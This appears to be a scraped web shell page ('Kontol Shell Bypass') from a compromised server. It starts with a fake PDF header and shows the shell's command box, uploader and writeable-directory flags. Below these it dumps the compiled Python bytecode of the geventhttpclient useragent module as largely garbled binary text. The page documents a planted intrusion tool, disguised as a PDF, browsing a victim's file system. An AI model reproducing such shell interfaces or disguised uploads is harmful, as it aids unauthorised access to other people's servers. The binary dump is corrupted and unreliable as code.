%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/geventhttpclient/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/geventhttpclient/__pycache__/useragent.cpython-39.pyc
a

�_gV�@sddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
Z
ddlZddlm
Z
ddlmZddlmZmZddlmZmZGdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�d�ZGdd�d�ZGdd�d�Zdddefdd�Zdd�Zdd�Z dS)�N)�	urlencode)�encode_multipart_formdata)�RequestField)�
HTTPClient�HTTPClientPool)�URL�to_key_val_listcs,eZdZdd�Zdd�Z�fdd�Z�ZS)�ConnectionErrorcOs�||_|j�|�|rDt|dt�rD|ddt|dd��|_nt|�dkr\t|d�nd|_|r�|j|jrvdnd7_d�dd�|��D��|_	|j|j	7_nd|_dS)Nr�: ���, css |]\}}|�d|��VqdS)�=N���.0�key�valrr�G/vddos/python/lib/python3.9/site-packages/geventhttpclient/useragent.py�	<genexpr>�z+ConnectionError.__init__.<locals>.<genexpr>)
�url�__dict__�update�
isinstance�str�text�len�join�items�kw_text)�selfr�args�kwrrr�__init__s zConnectionError.__init__cCs*|jrd|j�d|j��Sd|j��SdS)NzURL r
)rr�r!rrr�__str__"szConnectionError.__str__cs.t���}|jr*|�dd�d|jdg��S|S)N�)rr
)�super�__repr__r �replacer)r!�repr_str��	__class__rrr)(s
zConnectionError.__repr__)�__name__�
__module__�__qualname__r$r&r)�
__classcell__rrr,rr	sr	c@seZdZdS)�RetriesExceededN�r.r/r0rrrrr2/sr2c@seZdZdS)�
BadStatusCodeNr3rrrrr43sr4c@seZdZdS)�
EmptyResponseNr3rrrrr57sr5c@s�eZdZdZd$dd�Zedd��Zd%dd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zedd��Z
d&dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�ZdS)'�
CompatRequestzqurllib.request.Request compatible request class.
    See also: http://docs.python.org/library/cookielib.html
    �GETNcCs2|j||d�|jj|_|��|_||_||_dS�N)�params)�set_url�	url_split�host�
original_host�upper�method�headers�payload)r!rr?r@rAr9rrrr$Ds


zCompatRequest.__init__cCs|jS�N�rr%rrr�full_urlKszCompatRequest.full_urlcCs6t|t�rt|�|_||_n||_t|j|d�|_dSr8)rrrrr;)r!rr9rrrr:Ps


zCompatRequest.set_urlcCs|jSrBrCr%rrr�get_full_urlXszCompatRequest.get_full_urlcCs|jjSrB)r;r<r%rrr�get_host[szCompatRequest.get_hostcCs|jjSrB)r;�schemer%rrr�get_type^szCompatRequest.get_typecCs|jSrB)r=r%rrr�get_origin_req_hostasz!CompatRequest.get_origin_req_hostcCsdS)zCSee http://tools.ietf.org/html/rfc2965.html. Not fully implemented!Frr%rrr�is_unverifiabledszCompatRequest.is_unverifiablecCs|��SrB)rJr%rrr�unverifiablehszCompatRequest.unverifiablecCs|j�||�SrB)r@�get)r!�header_name�defaultrrr�
get_headerlszCompatRequest.get_headercCs
||jvSrB�r@)r!rMrrr�
has_headeroszCompatRequest.has_headercCst|j���SrB)�listr@rr%rrr�header_itemsrszCompatRequest.header_itemscCs|j�||�dSrB)r@�add)r!rrrrr�add_unredirected_headerusz%CompatRequest.add_unredirected_headercCs&d|_d|_dD]}|j�|�qdS)Nr7)�content-length�content-type�content-encoding)r?rAr@�discard�r!�itemrrr�
_drop_payloadxszCompatRequest._drop_payloadcCsdD]}|j�|�qdS)N)�cookieZcookie2)r@rYrZrrr�
_drop_cookies~szCompatRequest._drop_cookiescCs.|�|j�|��|dvr"|��|��dS)z7Modify the request inplace to point to the new location)�.�/N)r:r;�redirectr\r^)r!�code�locationrrrra�szCompatRequest.redirect)r7NNN)N)N)r.r/r0�__doc__r$�propertyrDr:rErFrHrIrJrKrOrQrSrUr\r^rarrrrr6;s&




r6c@s�eZdZdZdZd.dd�Zdd�Zdd	�Zed
d��Z	dd
�Z
dd�Zdd�Zdd�Z
d/dd�Zdd�Zdd�Zd0dd�Zedd��Zd d!�Zed"d#��Zd$d%�Zed&d'��Zed(d)��Zed*d+��Zd,d-�ZdS)1�CompatResponsez$Adapter for urllib3-style responses.)r@�	_response�_request�
_sent_request�_cached_contentNcCs ||_||_||_|jj|_dSrB)rgrhriZ_headers_indexr@)r!Zghc_response�request�sent_requestrrrr$�szCompatResponse.__init__cCs|SrBrr%rrr�	__enter__�szCompatResponse.__enter__cGs|��dSrB)�release)r!r"rrr�__exit__�szCompatResponse.__exit__cCs
|j��S)z!HTTP status code as plain integer)rg�get_coder%rrr�status_code�szCompatResponse.status_codecCs|jjS)z0The content lengths as declared from the headers)rg�lengthr%rrr�__len__�szCompatResponse.__len__cCs|jS)zAdaption to http.client.rPr%rrr�info�szCompatResponse.infocCsdS)zKIf we have an empty response body, we still don't want to evaluate as falseTrr%rrr�__nonzero__�szCompatResponse.__nonzero__cCs
t|j�SrB)�iterrgr%rrr�__iter__�szCompatResponse.__iter__cCs|j�|�S)z#Read n bytes from the response body)rg�read)r!�nrrrrx�szCompatResponse.readcCs
|j��SrB)rg�readliner%rrrrz�szCompatResponse.readlinecCs
|j��SrB)rgrnr%rrrrn�szCompatResponse.releaseTFcCsd|j��}|r t�|dtj�S|r.t�|�Szt�|tj�WStjy^t�|�YS0dS)N�)rgrx�zlib�
decompress�	MAX_WBITS�brotli�error)r!�gzip�brZbodystrrrr�unzipped�s

zCompatResponse.unzippedcCs0z|jWSty*|��|_|jYS0dS)zLUnzips if necessary and buffers the received body. Careful with large files!N)rj�AttributeError�_contentr%rrr�content�s

zCompatResponse.contentcCs�z|j�d�d��}Wnty.d}Yn0|dkrF|jdd�}nh|dkr\|jdd�}nR|dkrp|j��}n>|d	kr�|jddd
�}n&|dkr�td|����ntd
|����|��|S)NrXr�identityr�T)r��deflateFr�)r�r��compressz Compression type not supported: zUnknown content encoding: )	r@�
getheaders�lower�
IndexErrorr�rgrx�
ValueErrorrn)r!�content_encoding�retrrrr��s"
zCompatResponse._contentcCs�|js
dSz|j�d�d��}Wnty>|j��YS0|�d�r�d}d|vr�z|�dd�ddd	�}Wnty�Yn0|j�|�S|jS)
NrrWrr�utf-8�charsetzcharset=r�
)r�r@r�r�r��decode�
startswith�split)r!�content_type�codecrrrr�s
zCompatResponse.textcCs
t�|�SrB)�jsonlib�loadr%rrr�json�szCompatResponse.jsoncCs
t|j�S)zHTTP status for urllib3)rrqr%rrr�statusszCompatResponse.statuscCs|jS)zContent for urllib3)r�r%rrr�dataszCompatResponse.datacCs|jS)zReadable stream for urllib3)rgr%rrr�streamszCompatResponse.streamcCs|jjS)zClosed status for urllib3)rgZmessage_completer%rrr�isclosedszCompatResponse.isclosed)NN)N)TF)r.r/r0rd�	__slots__r$rmrorerqrsrtrurwrxrzrnr�r�r�rr�r�r�r�r�rrrrrf�s8








rfc
@s�eZdZeZeZegd��Zegd��Z	d"dd�Z
dd	�Zd
d�Zdd
�Z
d#dd�Zd$dd�Zd%dd�Zdeddddddddf
dd�Zdd�Zed&dd��Zd'dd�Zd(d d!�ZdS))�	UserAgent)�����-r_r`�3)r�r_r`r��rNcKsPt|�|_t|�|_||_tj��|_|r6|j�|�||_	t
fi|��|_dSrB)�int�
max_redirects�max_retries�retry_delayrZDEFAULT_HEADERS�copy�default_headersr�	cookiejarr�
clientpool)r!r�r�r�r�r@r#rrrr$s	

zUserAgent.__init__cCs|j��dSrB)r��closer%rrrr�-szUserAgent.closecCs|SrBrr%rrrrm0szUserAgent.__enter__cCs|��dSrB)r�)r!�exc_type�exc_val�exc_tbrrrro3szUserAgent.__exit__cCs||jvrt||d��dS)�Hook for subclassing)rbN)�valid_response_codesr4)r!rqrrrr�_verify_status6s
zUserAgent._verify_statuscCs�t|tjtjf�r|St|tj�r@|jtjtjtj	tj
hvr@|St|tj�r\dt
|�vr\|St|t�rj|S|�t��d��dS)z�Hook for subclassing. Raise the error to interrupt further retrying,
        return it to continue retries and save the error, when retries
        exceed the limit.
        Temporary errors should be swallowed here for automatic retries.
        zread operation timed out�N)r�socket�timeout�gevent�Timeoutr��errnoZ	ETIMEDOUTZENOLINK�ENOENT�EPIPE�ssl�SSLErrorrr5�with_traceback�sys�exc_info)r!�errrr�
_handle_error;s�
zUserAgent._handle_errorcCst||j|d��dS)r�)�originalN)r2r�)r!r�
last_errorrrr�_handle_retries_exceededPsz"UserAgent._handle_retries_exceededr7FcKs�|j��}
|r|
�|�|rn|��dkrL|dur6|}qnt|t�rn|�|�n"|durZ|}nt|t�rn|�|�t|||
||||jd�}|	dur�t|	�n|j	}	|
dur�t|
�n|j
}
t|	d�D�]�}|dkr�|jr�t
�|j�t|
d�D�]�}|jdu�r|j�|�z|�|�}Wn`t
j�y.�YnJt�yv}z0||_|j||jd�}WYd}~q�WYd}~n
d}~00|du�r�|�|j|j||jd�d�|jdu�r�|j�||�z|j|j|jd�Wnnt�y>}zT||_||_|j|j||jd�|_|� �|j||jd�}WYd}~q�WYd}~n
d}~00|j!�"d	�}t|t#��rb|�$d
�}|j|j%v�r�|�r�|� �z|�&|j|�Wq�WnDt�y�}z*|j||jd�}WYd}~q�WYd}~n
d}~00|�s�|Sz
|j'}WnDt�y:}z*|j||jd�}WYd}~q�WYd}~q�d}~00|�sbt(|d�}|j||jd�}q�q�|Sq�t)|d|j
�d
��}|j||d�}q�|j*||d�S)z?Open a URL, do retries and redirects and verify the status code�POSTN)r@rAr9�files�request_typerrrC)rA�

rcr�zEmpty response body receivedzRedirection limit reached (r'�r�)+r�r�rr>r�dict�
_make_requestr�r�r�r��ranger�r��sleepr��add_cookie_header�_urlopenZGreenletExit�
BaseExceptionrkr�r�write�_conversation_strrA�extract_cookiesr�rq�	Exception�responseZhttp_logrnr@rL�bytesr��redirect_resonse_codesrar�r5r2r�)r!rr?Zresponse_codesr@rA�	to_stringZdebug_streamr9r�r�r�r#Zreq_headers�req�retry�_�respr�r�Zredirectionr�rrr�urlopenTs�




�	$
�$
$
$
zUserAgent.urlopencCs<|j�|j�}|j|j|jj|j|jd�}|j|||j	d�S)N)�bodyr@)rkrl)
r�Z
get_clientr;rkr?�request_urirAr@�
response_typeri)r!rk�clientr�rrrr��s�zUserAgent._urlopenr�cCs�d�dd�|j��D��}d|d|j}|r�t|t�rnz||�|�d7}Wq�tyj|d7}Yq�0nt|t�r�||d7}|d|j	j
dt|j�d|d|j�|�7}|S)	N�
css |]\}}|�d|��VqdS)r
Nrrrrrr�rz.UserAgent._conversation_str.<locals>.<genexpr>z	REQUEST: r�zUnicodeDecodeError

z
RESPONSE: � )
rr@rrirr�r��UnicodeDecodeErrorrrg�versionrqr�)�clsrr�rA�encodingZ
header_strr�rrrr��s8

������
��
zUserAgent._conversation_str�@cKs|�dd�|�di�}d|d<|r>tj�|�r>tj�|�}nd}t|jd�D�]�}|r�d|�d�|d	<|j|fd|i|��}	|	j�	d
�}
|	j
dks�|
r�|
�d�r�|
�dd�d�t
|��s�|	��d}|s�|�d	d�|j|fd|i|��}	t||r�d
nd���}|�r|�|tj�zR|	�|�}|	�.|�rH|�|�|	�|�}�q*Wd�n1�s^0YWnft�y�}
zL|j|
|d�|	j�	d�dk�r�|��}WYd}
~
Wd�qPWYd}
~
n
d}
~
00Wd�n1�s�0Y�qqP|j||
d�|	S)Nr�r@z
Keep-Alive�
Connectionrrzbytes=�-�Rangez
Content-Ranger�r��ab�wbrCz
accept-rangesr�)�pop�os�path�isfile�getsizer�r�r�r@rLrqr�r�rrn�open�seek�SEEK_SETrxr�r�r��tellr�)r!rZfpath�
chunk_size�resumer#r@�offsetr�r��cr�fr�r�rrr�download�sR����

2NzUserAgent.downloadc	Cst|||||||jd�S)z#Backwards compatibility for locust.)r?r@rAr9r�r�)r�r�)r!rr?r@rAr9r�rrrr�s�zUserAgent._make_request)r�r�rNN)N)N)N)Nr�)r�F)r7NNNN)r.r/r0rfr�r6r��	frozensetr�r�r$r�rmror�r�r�r�r��classmethodr�r�r�rrrrr�s@�



�
t

/r�cCs�|�dd�}|r4t||�\}}||d<t|�|d<nl|r�t|t�rh|sNd|d<t|���}t|�|d<n8|s�t|t�r�d|d<|��}t|�|d<n|s�d|d<||||||d�S)NrWrVz0application/x-www-form-urlencoded; charset=utf-8ztext/plain; charset=utf-8zapplication/octet-stream)r?r@rAr9)rL�_encode_multipart_formdatarrr�r�encoder)rr?r@rAr9r�r�r�rrrr�&s$
r�cCs\t|dd�}|rt|ttf�s"dSt|t�r4|��}|ddkrX|ddkrXtj�|�SdS)z0Tries to guess the filename of the given object.�nameNr�<����>)�getattrrrr�r�r�r��basename)�filerrrr�_guess_filename?s
r
cCs�|std��nt|ttf�r$td��g}t|p0i�}t|p<i�}|D]�\}}t|ttf�sdt|d�sj|g}|D]T}|durnt|t�s�t|�}|�t|t�r�|�d�n|t|t�r�|�d�n|f�qnqD|D]�\}}d}d}	d}
t|t	t
f��rLt|�dk�r|\}}nDt|�dk�r |\}}}n*t|�dk�r<|\}}}}	n|\}}}}	}
nt|��pX|}|}t|ttt
f��rv|}
n(t|d	��r�|��}
n|du�r�q�n|}
t||
||	d
�}|j|d�|�|�q�t||
�\}}||fS)a�
    Method taken from models in requests library , usage is the same. The only difference is that
    you can add custom boundary in 5-tuple version.

    Build the body for a multipart/form-data request.

    Will successfully encode files when passed as a dict or a list of
    tuples. Order is retained if data is a list of tuples but arbitrary
    if parameters are supplied as a dict.

    The tuples may be
    2-tuples (filename, fileobj),
    3-tuples (filename, fileobj, contentype),
    4-tuples (filename, fileobj, contentype, custom_headers) or
    5-tuples (filename, fileobj, contentype, custom_headers, custom boundary).

    example:
    files = {'file': ('report.xls', body, 'application/vnd.ms-excel', {'Expires': '0'}, 'custom_boundary')}

    zFiles must be provided.zData must not be a string.rwNr�r�r��rx)rr��filenamer@)r�)r�rrr�r�hasattr�appendr�r�tuplerRrr
�	bytearrayrxr�make_multipartr)r�r��
new_fields�fields�fieldr�v�k�ft�fh�boundary�fn�fp�fdata�rfr�r�rrrrJsZ

��


r)!r�r�r�r�r�r�r�r|�urllib.parserrr��urllib3rZurllib3.fieldsrZgeventhttpclient.clientrrZgeventhttpclient.urlrrr�r	r2r4r5r6rfr�r�r
rrrrr�<module>s6O�


Kontol Shell Bypass